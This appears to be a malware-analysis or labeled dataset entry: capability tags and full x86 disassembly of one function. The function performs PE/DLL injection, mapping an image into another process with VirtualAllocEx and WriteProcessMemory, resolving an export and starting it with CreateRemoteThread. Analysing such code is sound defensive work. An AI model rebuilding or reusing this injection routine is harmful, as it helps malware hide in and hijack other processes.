Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x270
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x30], eax
mov dword [esp + 4], 0x220
lea eax, [ebp - 0x250]
mov dword [esp], eax
call fcn.004060d0
sub esp, 8
mov eax, dword [section..bss]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40b000
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x250]
add eax, 0x18
mov dword [esp], eax
call fcn.004083c0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jns 0x401117
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x8c
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x23c]
test eax, eax
jne 0x401195
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x93
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x23c]
mov dword [esp + 0x10], 0
mov edx, dword [ebp + 0x18]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x401211
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x9b
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x240]
test eax, eax
jne 0x40128f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xa2
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x54]
mov eax, dword [ebp - 0x240]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x40130e
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xaa
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov eax, dword [ebp - 0x20]
add eax, 0xf8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0
jmp 0x401403
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
je 0x4013fe
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 0x10]
lea ebx, [edx + eax]
mov esi, dword [ebp - 0x240]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov eax, dword [eax + 0xc]
add eax, esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x4013ff
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xb9
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
nop
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x10], eax
jb 0x401325
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
add eax, 0x1c
add edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x254]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x401498
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xc0
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x254]
add edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x254]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x401517
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xc6
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x220
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40158f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xcd
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
lea eax, [ebp - 0x250]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x401603
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xd3
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x254]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401697
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [section..bss]
mov dword [esp + 0x14], str.launcher.c
mov dword [esp + 0x10], 0x40b013
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xdc
mov dword [esp + 4], 0xbb9
mov dword [esp], eax
call fcn.00405dca
jmp 0x40169e
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x4016b4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret